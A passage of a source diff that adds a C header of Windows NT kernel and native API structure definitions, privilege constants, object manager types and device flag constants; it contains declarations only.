_KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; +#endif + +#ifndef _KEY_VALUE_ENTRY +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; +#endif + +/* +** Key END +*/ + +/* +** IoCompletion START +*/ + +#ifndef _IO_COMPLETION_INFORMATION_CLASS +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; +#endif + +#ifndef _IO_COMPLETION_BASIC_INFORMATION +typedef struct _IO_COMPLETION_BASIC_INFORMATION { + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, *PIO_COMPLETION_BASIC_INFORMATION; +#endif + +/* +** IoCompletion END +*/ + +/* +** Event START +*/ + +// +// Event Specific Access Rights. +// + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +/* +** Event END +*/ + +/* +** TIME_FIELDS START +*/ + +#ifndef CSHORT +typedef short CSHORT; +#endif +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +/* +** TIME_FIELDS END +*/ +typedef struct _SYSTEM_MODULE_ENTRY_INFO +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} SYSTEM_MODULE_ENTRY_INFO, *PSYSTEM_MODULE_ENTRY_INFO; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG NumberOfModules; + SYSTEM_MODULE_ENTRY_INFO Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; +/* +** HANDLE START +*/ + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX { + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +/* +** HANDLE END +*/ + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +/* +** OBJECT MANAGER START +*/ + +// +// Header flags +// + +#define OB_FLAG_NEW_OBJECT 0x01 +#define OB_FLAG_KERNEL_OBJECT 0x02 +#define OB_FLAG_CREATOR_INFO 0x04 +#define OB_FLAG_EXCLUSIVE_OBJECT 0x08 +#define OB_FLAG_PERMANENT_OBJECT 0x10 +#define OB_FLAG_DEFAULT_SECURITY_QUOTA 0x20 +#define OB_FLAG_SINGLE_HANDLE_ENTRY 0x40 +#define OB_FLAG_DELETED_INLINE 0x80 + +// +// InfoMask values +// + +#define OB_INFOMASK_PROCESS_INFO 0x10 +#define OB_INFOMASK_QUOTA 0x08 +#define OB_INFOMASK_HANDLE 0x04 +#define OB_INFOMASK_NAME 0x02 +#define OB_INFOMASK_CREATOR_INFO 0x01 + +typedef PVOID *PDEVICE_MAP; + +typedef struct _OBJECT_DIRECTORY_ENTRY { + PVOID ChainLink; + PVOID Object; + ULONG HashValue; +} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _EX_PUSH_LOCK { + union + { + ULONG Locked : 1; + ULONG Waiting : 1; + ULONG Waking : 1; + ULONG MultipleShared : 1; + ULONG Shared : 28; + ULONG Value; + PVOID Ptr; + }; +} EX_PUSH_LOCK, *PEX_PUSH_LOCK; + +typedef struct _OBJECT_NAMESPACE_LOOKUPTABLE { + LIST_ENTRY HashBuckets[37]; + EX_PUSH_LOCK Lock; + ULONG NumberOfPrivateSpaces; +} OBJECT_NAMESPACE_LOOKUPTABLE, *POBJECT_NAMESPACE_LOOKUPTABLE; + +typedef struct _OBJECT_NAMESPACE_ENTRY { + LIST_ENTRY ListEntry; + PVOID NamespaceRootDirectory; + ULONG SizeOfBoundaryInformation; + ULONG Reserved; + UCHAR HashValue; + ULONG Alignment; +} OBJECT_NAMESPACE_ENTRY, *POBJECT_NAMESPACE_ENTRY; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[37]; + EX_PUSH_LOCK Lock; + PDEVICE_MAP DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_HEADER_NAME_INFO { + POBJECT_DIRECTORY Directory; + UNICODE_STRING Name; + ULONG QueryReferences; +} OBJECT_HEADER_NAME_INFO, *POBJECT_HEADER_NAME_INFO; + +typedef struct _OBJECT_HEADER_CREATOR_INFO {// Size=32 + LIST_ENTRY TypeList; // Size=16 Offset=0 + PVOID CreatorUniqueProcess; // Size=8 Offset=16 + USHORT CreatorBackTraceIndex; // Size=2 Offset=24 + USHORT Reserved; // Size=2 Offset=26 +} OBJECT_HEADER_CREATOR_INFO, *POBJECT_HEADER_CREATOR_INFO; + +typedef struct _OBJECT_HANDLE_COUNT_ENTRY {// Size=16 + PVOID Process; // Size=8 Offset=0 + struct + { + unsigned long HandleCount : 24; // Size=4 Offset=8 BitOffset=0 BitCount=24 + unsigned long LockCount : 8; // Size=4 Offset=8 BitOffset=24 BitCount=8 + }; +} OBJECT_HANDLE_COUNT_ENTRY, *POBJECT_HANDLE_COUNT_ENTRY; + +typedef struct _OBJECT_HEADER_HANDLE_INFO // Size=16 +{ + union + { + PVOID HandleCountDataBase; // Size=8 Offset=0 + struct _OBJECT_HANDLE_COUNT_ENTRY SingleEntry; // Size=16 Offset=0 + }; +} OBJECT_HEADER_HANDLE_INFO, *POBJECT_HEADER_HANDLE_INFO; + +typedef struct _OBJECT_HEADER_PROCESS_INFO { // Size=16 + PVOID ExclusiveProcess; // Size=8 Offset=0 + unsigned __int64 Reserved; // Size=8 Offset=8 +} OBJECT_HEADER_PROCESS_INFO, *POBJECT_HEADER_PROCESS_INFO; + +typedef struct _OBJECT_HEADER_QUOTA_INFO { + ULONG PagedPoolCharge; //4 + ULONG NonPagedPoolCharge; //4 + ULONG SecurityDescriptorCharge; //4 + PVOID SecurityDescriptorQuotaBlock; //sizeof(pointer) + unsigned __int64 Reserved; //sizeof(uint64) +} OBJECT_HEADER_QUOTA_INFO, *POBJECT_HEADER_QUOTA_INFO; + +typedef struct _QUAD { + union + { + INT64 UseThisFieldToCopy; + float DoNotUseThisField; + }; +} QUAD, *PQUAD; + +typedef struct _OBJECT_CREATE_INFORMATION { + ULONG Attributes; + PVOID RootDirectory; + CHAR ProbeMode; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; + PVOID SecurityDescriptor; + PSECURITY_QUALITY_OF_SERVICE SecurityQos; + SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; +} OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION; + +typedef enum _POOL_TYPE { + NonPagedPool = 0, + NonPagedPoolExecute = 0, + PagedPool = 1, + NonPagedPoolMustSucceed = 2, + DontUseThisType = 3, + NonPagedPoolCacheAligned = 4, + PagedPoolCacheAligned = 5, + NonPagedPoolCacheAlignedMustS = 6, + MaxPoolType = 7, + NonPagedPoolBase = 0, + NonPagedPoolBaseMustSucceed = 2, + NonPagedPoolBaseCacheAligned = 4, + NonPagedPoolBaseCacheAlignedMustS = 6, + NonPagedPoolSession = 32, + PagedPoolSession = 33, + NonPagedPoolMustSucceedSession = 34, + DontUseThisTypeSession = 35, + NonPagedPoolCacheAlignedSession = 36, + PagedPoolCacheAlignedSession = 37, + NonPagedPoolCacheAlignedMustSSession = 38, + NonPagedPoolNx = 512, + NonPagedPoolNxCacheAligned = 516, + NonPagedPoolSessionNx = 544 +} POOL_TYPE; + +typedef struct _OBJECT_TYPE_INITIALIZER_V1 { + USHORT Length; + BOOLEAN UseDefaultObject; + BOOLEAN Reserved1; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + BOOLEAN MaintainTypeList; + UCHAR Reserved2; + BOOLEAN PagedPool; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER_V1, *POBJECT_TYPE_INITIALIZER_V1; + +typedef struct _OBJECT_TYPE_INITIALIZER_V2 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER_V2, *POBJECT_TYPE_INITIALIZER_V2; + +typedef struct _OBJECT_TYPE_INITIALIZER_V3 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 + ULONG WaitObjectFlagMask; // Size=4 Offset=112 + USHORT WaitObjectFlagOffset; // Size=2 Offset=116 + USHORT WaitObjectPointerOffset; // Size=2 Offset=118 +} OBJECT_TYPE_INITIALIZER_V3, *POBJECT_TYPE_INITIALIZER_V3; + +typedef struct _OBJECT_TYPE_INITIALIZER {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE_V2 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V2, *POBJECT_TYPE_V2; + +typedef struct _OBJECT_TYPE_V3 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V3 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V3, *POBJECT_TYPE_V3; + +typedef struct _OBJECT_TYPE_COMPATIBLE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; +} OBJECT_TYPE_COMPATIBLE, *POBJECT_TYPE_COMPATIBLE; + +/* +** brand new header starting from 6.1 +*/ + +typedef struct _OBJECT_HEADER { + LONG PointerCount; + union + { + LONG HandleCount; + PVOID NextToFree; + }; + EX_PUSH_LOCK Lock; + UCHAR TypeIndex; + UCHAR TraceFlags; + UCHAR InfoMask; + UCHAR Flags; + union + { + POBJECT_CREATE_INFORMATION ObjectCreateInfo; + PVOID QuotaBlockCharged; + }; + PVOID SecurityDescriptor; + QUAD Body; +} OBJECT_HEADER, *POBJECT_HEADER; + +#define OBJECT_TO_OBJECT_HEADER(obj) \ + CONTAINING_RECORD( (obj), OBJECT_HEADER, Body ) + +/* +** OBJECT MANAGER END +*/ + +/* +* WDM START +*/ +#define TIMER_TOLERABLE_DELAY_BITS 6 +#define TIMER_EXPIRED_INDEX_BITS 6 +#define TIMER_PROCESSOR_INDEX_BITS 5 + +typedef struct _DISPATCHER_HEADER { + union { + union { + volatile LONG Lock; + LONG LockNV; + } DUMMYUNIONNAME; + + struct { // Events, Semaphores, Gates, etc. + UCHAR Type; // All (accessible via KOBJECT_TYPE) + UCHAR Signalling; + UCHAR Size; + UCHAR Reserved1; + } DUMMYSTRUCTNAME; + + struct { // Timer + UCHAR TimerType; + union { + UCHAR TimerControlFlags; + struct { + UCHAR Absolute : 1; + UCHAR Wake : 1; + UCHAR EncodedTolerableDelay : TIMER_TOLERABLE_DELAY_BITS; + } DUMMYSTRUCTNAME; + }; + + UCHAR Hand; + union { + UCHAR TimerMiscFlags; + struct { + +#if !defined(KENCODED_TIMER_PROCESSOR) + + UCHAR Index : TIMER_EXPIRED_INDEX_BITS; + +#else + + UCHAR Index : 1; + UCHAR Processor : TIMER_PROCESSOR_INDEX_BITS; + +#endif + + UCHAR Inserted : 1; + volatile UCHAR Expired : 1; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + } DUMMYSTRUCTNAME2; + + struct { // Timer2 + UCHAR Timer2Type; + union { + UCHAR Timer2Flags; + struct { + UCHAR Timer2Inserted : 1; + UCHAR Timer2Expiring : 1; + UCHAR Timer2CancelPending : 1; + UCHAR Timer2SetPending : 1; + UCHAR Timer2Running : 1; + UCHAR Timer2Disabled : 1; + UCHAR Timer2ReservedFlags : 2; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR Timer2Reserved1; + UCHAR Timer2Reserved2; + } DUMMYSTRUCTNAME3; + + struct { // Queue + UCHAR QueueType; + union { + UCHAR QueueControlFlags; + struct { + UCHAR Abandoned : 1; + UCHAR DisableIncrement : 1; + UCHAR QueueReservedControlFlags : 6; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR QueueSize; + UCHAR QueueReserved; + } DUMMYSTRUCTNAME4; + + struct { // Thread + UCHAR ThreadType; + UCHAR ThreadReserved; + union { + UCHAR ThreadControlFlags; + struct { + UCHAR CycleProfiling : 1; + UCHAR CounterProfiling : 1; + UCHAR GroupScheduling : 1; + UCHAR AffinitySet : 1; + UCHAR ThreadReservedControlFlags : 4; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + union { + UCHAR DebugActive; + +#if !defined(_X86_) + + struct { + BOOLEAN ActiveDR7 : 1; + BOOLEAN Instrumented : 1; + BOOLEAN Minimal : 1; + BOOLEAN Reserved4 : 3; + BOOLEAN UmsScheduled : 1; + BOOLEAN UmsPrimary : 1; + } DUMMYSTRUCTNAME; + +#endif + + } DUMMYUNIONNAME2; + } DUMMYSTRUCTNAME5; + + struct { // Mutant + UCHAR MutantType; + UCHAR MutantSize; + BOOLEAN DpcActive; + UCHAR MutantReserved; + } DUMMYSTRUCTNAME6; + } DUMMYUNIONNAME; + + LONG SignalState; // Object lock + LIST_ENTRY WaitListHead; // Object lock +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT { + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _KMUTANT { + DISPATCHER_HEADER Header; + LIST_ENTRY MutantListEntry; + struct _KTHREAD *OwnerThread; + BOOLEAN Abandoned; + UCHAR ApcDisable; +} KMUTANT, *PKMUTANT, *PRKMUTANT, KMUTEX, *PKMUTEX, *PRKMUTEX; + +typedef struct _KSEMAPHORE { + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE, *PRKSEMAPHORE; + +typedef struct _KTIMER { + DISPATCHER_HEADER Header; + ULARGE_INTEGER DueTime; + LIST_ENTRY TimerListEntry; + struct _KDPC *Dpc; + ULONG Processor; + LONG Period; +} KTIMER, *PKTIMER, *PRKTIMER; + +typedef struct _KDEVICE_QUEUE_ENTRY { + LIST_ENTRY DeviceListEntry; + ULONG SortKey; + BOOLEAN Inserted; +} KDEVICE_QUEUE_ENTRY, *PKDEVICE_QUEUE_ENTRY, *PRKDEVICE_QUEUE_ENTRY; + +typedef enum _KDPC_IMPORTANCE { + LowImportance, + MediumImportance, + HighImportance +} KDPC_IMPORTANCE; + +typedef struct _KDPC { + union { + ULONG TargetInfoAsUlong; + struct { + UCHAR Type; + UCHAR Importance; + volatile USHORT Number; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + SINGLE_LIST_ENTRY DpcListEntry; + KAFFINITY ProcessorHistory; + PVOID DeferredRoutine; + PVOID DeferredContext; + PVOID SystemArgument1; + PVOID SystemArgument2; + __volatile PVOID DpcData; +} KDPC, *PKDPC, *PRKDPC; + +typedef struct _WAIT_CONTEXT_BLOCK { + union { + KDEVICE_QUEUE_ENTRY WaitQueueEntry; + struct { + LIST_ENTRY DmaWaitEntry; + ULONG NumberOfChannels; + ULONG SyncCallback : 1; + ULONG DmaContext : 1; + ULONG Reserved : 30; + }; + }; + PVOID DeviceRoutine; + PVOID DeviceContext; + ULONG NumberOfMapRegisters; + PVOID DeviceObject; + PVOID CurrentIrp; + PKDPC BufferChainingDpc; +} WAIT_CONTEXT_BLOCK, *PWAIT_CONTEXT_BLOCK; + +#define MAXIMUM_VOLUME_LABEL_LENGTH (32 * sizeof(WCHAR)) // 32 characters + +typedef struct _VPB { + CSHORT Type; + CSHORT Size; + USHORT Flags; + USHORT VolumeLabelLength; // in bytes + struct _DEVICE_OBJECT *DeviceObject; + struct _DEVICE_OBJECT *RealDevice; + ULONG SerialNumber; + ULONG ReferenceCount; + WCHAR VolumeLabel[MAXIMUM_VOLUME_LABEL_LENGTH / sizeof(WCHAR)]; +} VPB, *PVPB; + +typedef struct _KQUEUE { + DISPATCHER_HEADER Header; + LIST_ENTRY EntryListHead; + ULONG CurrentCount; + ULONG MaximumCount; + LIST_ENTRY ThreadListHead; +} KQUEUE, *PKQUEUE; + +typedef struct _KDEVICE_QUEUE { + CSHORT Type; + CSHORT Size; + LIST_ENTRY DeviceListHead; + KSPIN_LOCK Lock; + +#if defined(_AMD64_) + + union { + BOOLEAN Busy; + struct { + LONG64 Reserved : 8; + LONG64 Hint : 56; + }; + }; + +#else + + BOOLEAN Busy; + +#endif + +} KDEVICE_QUEUE, *PKDEVICE_QUEUE, *PRKDEVICE_QUEUE; + +enum _KOBJECTS { + EventNotificationObject = 0x0, + EventSynchronizationObject = 0x1, + MutantObject = 0x2, + ProcessObject = 0x3, + QueueObject = 0x4, + SemaphoreObject = 0x5, + ThreadObject = 0x6, + GateObject = 0x7, + TimerNotificationObject = 0x8, + TimerSynchronizationObject = 0x9, + Spare2Object = 0xa, + Spare3Object = 0xb, + Spare4Object = 0xc, + Spare5Object = 0xd, + Spare6Object = 0xe, + Spare7Object = 0xf, + Spare8Object = 0x10, + Spare9Object = 0x11, + ApcObject = 0x12, + DpcObject = 0x13, + DeviceQueueObject = 0x14, + EventPairObject = 0x15, + InterruptObject = 0x16, + ProfileObject = 0x17, + ThreadedDpcObject = 0x18, + MaximumKernelObject = 0x19, +}; + +#define DO_VERIFY_VOLUME 0x00000002 // ntddk nthal ntifs wdm +#define DO_BUFFERED_IO 0x00000004 // ntddk nthal ntifs wdm +#define DO_EXCLUSIVE 0x00000008 // ntddk nthal ntifs wdm +#define DO_DIRECT_IO 0x00000010 // ntddk nthal ntifs wdm +#define DO_MAP_IO_BUFFER 0x00000020 // ntddk nthal ntifs wdm +#define DO_DEVICE_HAS_NAME 0x00000040 // ntddk nthal ntifs +#define DO_DEVICE_INITIALIZING 0x00000080 // ntddk nthal ntifs wdm +#define DO_SYSTEM_BOOT_PARTITION 0x00000100 // ntddk nthal ntifs +#define DO_LONG_TERM_REQUESTS 0x00000200 // ntddk nthal ntifs +#define DO_NEVER_LAST_DEVICE 0x00000400 // ntddk nthal ntifs +#define DO_SHUTDOWN_REGISTERED 0x00000800 // ntddk nthal ntifs wdm +#define DO_BUS_ENUMERATED_DEVICE 0x00001000 // ntddk nthal ntifs wdm +#define DO_POWER_PAGABLE 0x00002000 // ntddk nthal ntifs wdm +#define DO_POWER_INRUSH 0x00004000 // ntddk nthal ntifs wdm +#define DO_POWER_NOOP 0x00008000 +#define DO_LOW_PRIORITY_FILESYSTEM 0x00010000 // ntddk nthal ntifs +#define DO_XIP 0x00020000 + +#define FILE_REMOVABLE_MEDIA 0x00000001 +#define FILE_READ_ONLY_DEVICE 0x00000002 +#define FILE_FLOPPY_DISKETTE 0x00000004 +#define FILE_WRITE_ONCE_MEDIA 0x00000008 +#define FILE_REMOTE_DEVICE 0x00000010 +#define FILE_DEVICE_IS_MOUNTED 0x00000020 +#define FILE_VIRTUAL_VOLUME 0x00000040 +#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 +#define FILE_DEVICE_SECURE_OPEN 0x00000100 +#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 +#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 +#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 +#define FILE_CHARACTERISTIC_CSV 0x00010000 +#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000 +#define FILE_PORTABLE_DEVICE 0x00040000 + +#define FILE_DEVICE_BEEP 0x00000001 +#define FILE_DEVICE_CD_ROM 0x00000002 +#define FILE_DEVICE_CD_ROM_FILE_SYSTEM 0x00000003 +#define FILE_DEVICE_CONTROLLER 0x00000004 +#define FILE_DEVICE_DATALINK 0x00000005 +#define FILE_DEVICE_DFS 0x00000006 +#define FILE_DEVICE_DISK 0x00000007 +#define FILE_DEVICE_DISK_FILE_SYSTEM 0x00000008 +#define FILE_DEVICE_FILE_SYSTEM 0x00000009 +#define FILE_DEVICE_INPORT_PORT 0x0000000a +#define FILE_DEVICE_KEYBOARD 0x0000000b +#define FILE_DEVICE_MAILSLOT 0x0000000c +#define FILE_DEVICE_MIDI_IN 0x0000000d +#define FILE_DEVICE_MIDI_OUT 0x0000000e +#define FILE_DEVICE_MOUSE 0x0000000f +#define FILE_DEVICE_MULTI_UNC_PROVIDER 0x00000010 +#define FILE_DEVICE_NAMED_PIPE 0x00000011 +#define FILE_DEVICE_NETWORK 0x00000012 +#define FILE_DEVICE_NETWORK_BROWSER 0x00000013 +#define FILE_DEVICE_NETWORK_FILE_SYSTEM 0x00000014 +#define FILE_DEVICE_NULL 0x00000015 +#define FILE_DEVICE_PARALLEL_PORT 0x00000016 +#define FILE_DEVICE_PHYSICAL_NETCARD 0x00000017 +#define FILE_DEVICE_PRINTER 0x00000018 +#define FILE_DEVICE_SCANNER 0x00000019 +#define FILE_DEVICE_SERIAL_MOUSE_PORT 0x0000001a +#define FILE_DEVICE_SERIAL_PORT 0x0000001b +#define FILE_DEVICE_SCREEN 0x0000001c +#define FILE_DEVICE_SOUND 0x0000001d +#define FILE_DEVICE_STREAMS 0x0000001e +#define FILE_DEVICE_TAPE 0x0000001f +#define 